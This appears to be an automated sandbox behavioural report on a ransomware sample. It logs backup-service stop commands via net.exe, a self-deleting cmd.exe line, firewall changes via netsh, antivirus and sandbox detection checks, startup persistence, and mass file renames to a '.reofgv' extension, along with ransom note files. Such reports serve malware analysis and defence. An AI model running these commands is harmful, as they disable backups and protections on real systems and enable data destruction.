cmdline	"net.exe" stop “Zoolz 2 Service” /y
cmdline	"net.exe" stop AcronisAgent /y
cmdline	cmd.exe "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\test22\AppData\Local\Temp\client1122.exe

Communicates with host for which no DNS query was performed (1 event)

host

172.217.25.14

Attempts to identify installed AV products by installation directory (10 events)

file	C:\Users\All Users\Microsoft\Microsoft Antimalware\Network Inspection System\Support\NisLog.txt
file	C:\Users\All Users\Microsoft\Microsoft Antimalware\Network Inspection System\Support\NisLog.txt.reofgv
file	C:\Windows\Sandboxie.ini
file	C:\Users\All Users\Microsoft\Microsoft Security Client\Support\Application.etl
file	C:\Users\All Users\Microsoft\Microsoft Security Client\Support\EppOobe.etl
file	C:\Users\All Users\Microsoft\Microsoft Security Client\Support\EppSetup.log
file	C:\Users\All Users\Microsoft\Microsoft Security Client\Support\MSSecurityClient_Setup_4.10.209.0_epp_Uninstall.log
file	C:\Users\All Users\Microsoft\Microsoft Security Client\Support\EppSetupResult.ini
file	C:\Users\All Users\Microsoft\Microsoft Security Client\Support\EppSetup.etl
file	C:\Users\All Users\Microsoft\Microsoft Security Client\Support\MSSecurityClient_Setup_4.10.209.0_epp_Install.log

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService May 12, 2021, 9:57 a.m.	service_handle: 0x0048ebd8 service_name: AudioSrv control_code: 1	1	1	0
ControlService May 12, 2021, 9:57 a.m.	service_handle: 0x0048e8e0 service_name: AUDIOENDPOINTBUILDER control_code: 1	1	1	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation May 12, 2021, 9:57 a.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

Installs itself for autorun at Windows startup (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk

Operates on local firewall's policies and settings (2 events)

cmdline	"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
cmdline	"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes

Attempts to detect Cuckoo Sandbox through the presence of a file (2 events)

file	C:\Python27\agent.pyw
file	C:\tmpzdcjvb\analyzer.py

Creates known Hupigon files, registry keys and/or mutexes (1 event)

file	C:\Windows\bootstat.dat

Appends a known multi-family ransomware file extension to files that have been encrypted (50 out of 78 events)

file	C:\Python27\tcl\tcl8.5\encoding\iso2022-kr.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-3.enc
file	C:\Python27\tcl\tcl8.5\encoding\euc-cn.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp857.enc
file	C:\Python27\tcl\tcl8.5\encoding\macIceland.enc
file	C:\Python27\tcl\tcl8.5\encoding\macCyrillic.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-8.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp860.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-10.enc
file	C:\Python27\tcl\tcl8.5\encoding\ksc5601.enc
file	C:\Python27\tcl\tcl8.5\encoding\gb12345.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp1254.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp1255.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-2.enc
file	C:\Python27\tcl\tcl8.5\encoding\macGreek.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp437.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp775.enc
file	C:\Python27\tcl\tcl8.5\encoding\big5.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp936.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp869.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-5.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp949.enc
file	C:\Python27\tcl\tcl8.5\encoding\ascii.enc
file	C:\Python27\tcl\tcl8.5\encoding\macRoman.enc
file	C:\Python27\tcl\tcl8.5\encoding\gb1988.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-15.enc
file	C:\Python27\tcl\tcl8.5\encoding\ebcdic.enc
file	C:\Python27\tcl\tcl8.5\encoding\macThai.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp865.enc
file	C:\Python27\tcl\tcl8.5\encoding\shiftjis.enc
file	C:\Python27\tcl\tcl8.5\encoding\macCentEuro.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp850.enc
file	C:\Python27\tcl\tcl8.5\encoding\jis0212.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp1251.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-9.enc
file	C:\Python27\tcl\tcl8.5\encoding\euc-jp.enc
file	C:\Python27\tcl\tcl8.5\encoding\euc-kr.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso2022-jp.enc
file	C:\Python27\tcl\tcl8.5\encoding\macTurkish.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-1.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp866.enc
file	C:\Python27\tcl\tcl8.5\encoding\macRomania.enc
file	C:\Python27\tcl\tcl8.5\encoding\jis0201.enc
file	C:\Python27\tcl\tcl8.5\encoding\macDingbats.enc
file	C:\Python27\tcl\tcl8.5\encoding\iso8859-4.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp1250.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp862.enc
file	C:\Python27\tcl\tcl8.5\encoding\cp864.enc
file	C:\Python27\tcl\tcl8.5\encoding\koi8-r.enc
file	C:\Python27\tcl\tcl8.5\encoding\koi8-u.enc

Creates a known TeslaCrypt/AlphaCrypt ransomware decryption instruction / key file. (2 events)

file	C:\Users\test22\AppData\Local\Temp\RESTORE_FILES_INFO.txt
file	C:\Users\test22\Desktop\RESTORE_FILES_INFO.txt

Performs 467 file moves indicative of a ransomware file encryption process (50 out of 467 events)

Time & API	Arguments	Status	Return
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\readme.txt.reofgv flags: 2 oldfilepath_r: C:\readme.txt newfilepath: C:\readme.txt.reofgv oldfilepath: C:\readme.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Windows\bootstat.dat.reofgv flags: 2 oldfilepath_r: C:\Windows\bootstat.dat newfilepath: C:\Windows\bootstat.dat.reofgv oldfilepath: C:\Windows\bootstat.dat	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\util\mini-KMS_Activator_v1.1_Office.2010.VL.ENG.txt.reofgv flags: 2 oldfilepath_r: C:\util\mini-KMS_Activator_v1.1_Office.2010.VL.ENG.txt newfilepath: C:\util\mini-KMS_Activator_v1.1_Office.2010.VL.ENG.txt.reofgv oldfilepath: C:\util\mini-KMS_Activator_v1.1_Office.2010.VL.ENG.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\util\TCPView\Eula.txt.reofgv flags: 2 oldfilepath_r: C:\util\TCPView\Eula.txt newfilepath: C:\util\TCPView\Eula.txt.reofgv oldfilepath: C:\util\TCPView\Eula.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\util\ProcessMonitor\Eula.txt.reofgv flags: 2 oldfilepath_r: C:\util\ProcessMonitor\Eula.txt newfilepath: C:\util\ProcessMonitor\Eula.txt.reofgv oldfilepath: C:\util\ProcessMonitor\Eula.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ATwjKHHgPIXqpQbCw.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ATwjKHHgPIXqpQbCw.doc newfilepath: C:\Users\test22\Documents\ATwjKHHgPIXqpQbCw.doc.reofgv oldfilepath: C:\Users\test22\Documents\ATwjKHHgPIXqpQbCw.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\axTZwDBeUngqBG.ppt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\axTZwDBeUngqBG.ppt newfilepath: C:\Users\test22\Documents\axTZwDBeUngqBG.ppt.reofgv oldfilepath: C:\Users\test22\Documents\axTZwDBeUngqBG.ppt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\CJgZNzWBCXYHnBkZq.txt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\CJgZNzWBCXYHnBkZq.txt newfilepath: C:\Users\test22\Documents\CJgZNzWBCXYHnBkZq.txt.reofgv oldfilepath: C:\Users\test22\Documents\CJgZNzWBCXYHnBkZq.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\cXMLMLMlMJidCP.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\cXMLMLMlMJidCP.doc newfilepath: C:\Users\test22\Documents\cXMLMLMlMJidCP.doc.reofgv oldfilepath: C:\Users\test22\Documents\cXMLMLMlMJidCP.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\epgqtXtRZvwmrmF.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\epgqtXtRZvwmrmF.docx newfilepath: C:\Users\test22\Documents\epgqtXtRZvwmrmF.docx.reofgv oldfilepath: C:\Users\test22\Documents\epgqtXtRZvwmrmF.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\FAaWoqRZplEQFsGvV.docm.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\FAaWoqRZplEQFsGvV.docm newfilepath: C:\Users\test22\Documents\FAaWoqRZplEQFsGvV.docm.reofgv oldfilepath: C:\Users\test22\Documents\FAaWoqRZplEQFsGvV.docm	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ffsCATZyHNmKwxF.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ffsCATZyHNmKwxF.rtf newfilepath: C:\Users\test22\Documents\ffsCATZyHNmKwxF.rtf.reofgv oldfilepath: C:\Users\test22\Documents\ffsCATZyHNmKwxF.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\FOwRatdvSt.docm.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\FOwRatdvSt.docm newfilepath: C:\Users\test22\Documents\FOwRatdvSt.docm.reofgv oldfilepath: C:\Users\test22\Documents\FOwRatdvSt.docm	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\fTiSpCrSio.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\fTiSpCrSio.doc newfilepath: C:\Users\test22\Documents\fTiSpCrSio.doc.reofgv oldfilepath: C:\Users\test22\Documents\fTiSpCrSio.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\gRTPjfsvFz.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\gRTPjfsvFz.doc newfilepath: C:\Users\test22\Documents\gRTPjfsvFz.doc.reofgv oldfilepath: C:\Users\test22\Documents\gRTPjfsvFz.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\gxeffFGQwhrjD.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\gxeffFGQwhrjD.rtf newfilepath: C:\Users\test22\Documents\gxeffFGQwhrjD.rtf.reofgv oldfilepath: C:\Users\test22\Documents\gxeffFGQwhrjD.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ifsjIZDoQsdGp.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ifsjIZDoQsdGp.docx newfilepath: C:\Users\test22\Documents\ifsjIZDoQsdGp.docx.reofgv oldfilepath: C:\Users\test22\Documents\ifsjIZDoQsdGp.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\JDHeJjBWHuxqp.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\JDHeJjBWHuxqp.doc newfilepath: C:\Users\test22\Documents\JDHeJjBWHuxqp.doc.reofgv oldfilepath: C:\Users\test22\Documents\JDHeJjBWHuxqp.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\JeEyGbNjUWjVuZ.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\JeEyGbNjUWjVuZ.docx newfilepath: C:\Users\test22\Documents\JeEyGbNjUWjVuZ.docx.reofgv oldfilepath: C:\Users\test22\Documents\JeEyGbNjUWjVuZ.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\jsGIrPlHsPM.txt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\jsGIrPlHsPM.txt newfilepath: C:\Users\test22\Documents\jsGIrPlHsPM.txt.reofgv oldfilepath: C:\Users\test22\Documents\jsGIrPlHsPM.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\NyWPrKiMApAFxUeZ.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\NyWPrKiMApAFxUeZ.doc newfilepath: C:\Users\test22\Documents\NyWPrKiMApAFxUeZ.doc.reofgv oldfilepath: C:\Users\test22\Documents\NyWPrKiMApAFxUeZ.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ONyeiyAHXnG.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ONyeiyAHXnG.docx newfilepath: C:\Users\test22\Documents\ONyeiyAHXnG.docx.reofgv oldfilepath: C:\Users\test22\Documents\ONyeiyAHXnG.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\QAXyTXeWuxZprZY.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\QAXyTXeWuxZprZY.rtf newfilepath: C:\Users\test22\Documents\QAXyTXeWuxZprZY.rtf.reofgv oldfilepath: C:\Users\test22\Documents\QAXyTXeWuxZprZY.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\QcXmfONaPB.docm.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\QcXmfONaPB.docm newfilepath: C:\Users\test22\Documents\QcXmfONaPB.docm.reofgv oldfilepath: C:\Users\test22\Documents\QcXmfONaPB.docm	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.cpp.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.cpp newfilepath: C:\Users\test22\Documents\readme.cpp.reofgv oldfilepath: C:\Users\test22\Documents\readme.cpp	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.doc newfilepath: C:\Users\test22\Documents\readme.doc.reofgv oldfilepath: C:\Users\test22\Documents\readme.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.hwp.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.hwp newfilepath: C:\Users\test22\Documents\readme.hwp.reofgv oldfilepath: C:\Users\test22\Documents\readme.hwp	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.txt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.txt newfilepath: C:\Users\test22\Documents\readme.txt.reofgv oldfilepath: C:\Users\test22\Documents\readme.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\readme.xls.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\readme.xls newfilepath: C:\Users\test22\Documents\readme.xls.reofgv oldfilepath: C:\Users\test22\Documents\readme.xls	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\sByekmDWYN.docm.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\sByekmDWYN.docm newfilepath: C:\Users\test22\Documents\sByekmDWYN.docm.reofgv oldfilepath: C:\Users\test22\Documents\sByekmDWYN.docm	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\tbGINJnrMNdr.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\tbGINJnrMNdr.docx newfilepath: C:\Users\test22\Documents\tbGINJnrMNdr.docx.reofgv oldfilepath: C:\Users\test22\Documents\tbGINJnrMNdr.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\WmXfDlmbAt.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\WmXfDlmbAt.doc newfilepath: C:\Users\test22\Documents\WmXfDlmbAt.doc.reofgv oldfilepath: C:\Users\test22\Documents\WmXfDlmbAt.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\xTgoutelmxZUthF.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\xTgoutelmxZUthF.rtf newfilepath: C:\Users\test22\Documents\xTgoutelmxZUthF.rtf.reofgv oldfilepath: C:\Users\test22\Documents\xTgoutelmxZUthF.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ZyMQVIOJRV.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ZyMQVIOJRV.rtf newfilepath: C:\Users\test22\Documents\ZyMQVIOJRV.rtf.reofgv oldfilepath: C:\Users\test22\Documents\ZyMQVIOJRV.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Desktop\readme.txt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Desktop\readme.txt newfilepath: C:\Users\test22\Desktop\readme.txt.reofgv oldfilepath: C:\Users\test22\Desktop\readme.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Desert.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Koala.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg newfilepath: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.reofgv oldfilepath: C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg newfilepath: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.reofgv oldfilepath: C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg		0
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Windows\Power Efficiency Diagnostics\energy-report.html.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Windows\Power Efficiency Diagnostics\energy-report.html newfilepath: C:\Users\All Users\Microsoft\Windows\Power Efficiency Diagnostics\energy-report.html.reofgv oldfilepath: C:\Users\All Users\Microsoft\Windows\Power Efficiency Diagnostics\energy-report.html	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\tmp.edb.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\tmp.edb newfilepath: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\tmp.edb.reofgv oldfilepath: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\tmp.edb		0
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb newfilepath: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb.reofgv oldfilepath: C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb		0
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\RAC\StateData\RacMetaData.dat.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\RAC\StateData\RacMetaData.dat newfilepath: C:\Users\All Users\Microsoft\RAC\StateData\RacMetaData.dat.reofgv oldfilepath: C:\Users\All Users\Microsoft\RAC\StateData\RacMetaData.dat		0
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\OFFICE\DATA\opa12.dat.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\OFFICE\DATA\opa12.dat newfilepath: C:\Users\All Users\Microsoft\OFFICE\DATA\opa12.dat.reofgv oldfilepath: C:\Users\All Users\Microsoft\OFFICE\DATA\opa12.dat	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat.reofgv flags: 2 oldfilepath_r: C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat newfilepath: C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat.reofgv oldfilepath: C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat		0

Appends a new file extension or content to 467 files indicative of a ransomware file encryption process (50 out of 467 events)

Time & API	Arguments	Status	Return
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\readme.txt.reofgv flags: 2 oldfilepath_r: C:\readme.txt newfilepath: C:\readme.txt.reofgv oldfilepath: C:\readme.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Windows\bootstat.dat.reofgv flags: 2 oldfilepath_r: C:\Windows\bootstat.dat newfilepath: C:\Windows\bootstat.dat.reofgv oldfilepath: C:\Windows\bootstat.dat	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\util\mini-KMS_Activator_v1.1_Office.2010.VL.ENG.txt.reofgv flags: 2 oldfilepath_r: C:\util\mini-KMS_Activator_v1.1_Office.2010.VL.ENG.txt newfilepath: C:\util\mini-KMS_Activator_v1.1_Office.2010.VL.ENG.txt.reofgv oldfilepath: C:\util\mini-KMS_Activator_v1.1_Office.2010.VL.ENG.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\util\TCPView\Eula.txt.reofgv flags: 2 oldfilepath_r: C:\util\TCPView\Eula.txt newfilepath: C:\util\TCPView\Eula.txt.reofgv oldfilepath: C:\util\TCPView\Eula.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\util\ProcessMonitor\Eula.txt.reofgv flags: 2 oldfilepath_r: C:\util\ProcessMonitor\Eula.txt newfilepath: C:\util\ProcessMonitor\Eula.txt.reofgv oldfilepath: C:\util\ProcessMonitor\Eula.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ATwjKHHgPIXqpQbCw.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ATwjKHHgPIXqpQbCw.doc newfilepath: C:\Users\test22\Documents\ATwjKHHgPIXqpQbCw.doc.reofgv oldfilepath: C:\Users\test22\Documents\ATwjKHHgPIXqpQbCw.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\axTZwDBeUngqBG.ppt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\axTZwDBeUngqBG.ppt newfilepath: C:\Users\test22\Documents\axTZwDBeUngqBG.ppt.reofgv oldfilepath: C:\Users\test22\Documents\axTZwDBeUngqBG.ppt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\CJgZNzWBCXYHnBkZq.txt.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\CJgZNzWBCXYHnBkZq.txt newfilepath: C:\Users\test22\Documents\CJgZNzWBCXYHnBkZq.txt.reofgv oldfilepath: C:\Users\test22\Documents\CJgZNzWBCXYHnBkZq.txt	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\cXMLMLMlMJidCP.doc.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\cXMLMLMlMJidCP.doc newfilepath: C:\Users\test22\Documents\cXMLMLMlMJidCP.doc.reofgv oldfilepath: C:\Users\test22\Documents\cXMLMLMlMJidCP.doc	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\epgqtXtRZvwmrmF.docx.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\epgqtXtRZvwmrmF.docx newfilepath: C:\Users\test22\Documents\epgqtXtRZvwmrmF.docx.reofgv oldfilepath: C:\Users\test22\Documents\epgqtXtRZvwmrmF.docx	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\FAaWoqRZplEQFsGvV.docm.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\FAaWoqRZplEQFsGvV.docm newfilepath: C:\Users\test22\Documents\FAaWoqRZplEQFsGvV.docm.reofgv oldfilepath: C:\Users\test22\Documents\FAaWoqRZplEQFsGvV.docm	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\ffsCATZyHNmKwxF.rtf.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\ffsCATZyHNmKwxF.rtf newfilepath: C:\Users\test22\Documents\ffsCATZyHNmKwxF.rtf.reofgv oldfilepath: C:\Users\test22\Documents\ffsCATZyHNmKwxF.rtf	1	1
MoveFileWithProgressW May 12, 2021, 9:57 a.m.	newfilepath_r: C:\Users\test22\Documents\FOwRatdvSt.docm.reofgv flags: 2 oldfilepath_r: C:\Users\test22\Documents\FOwRatdvSt.docm newfilepath: C:\Users\test22\Documents\FOwRatdvSt.docm.reofgv oldfilepath: C:\Users\test22\Documents\FOwRatdvSt.docm	1	1
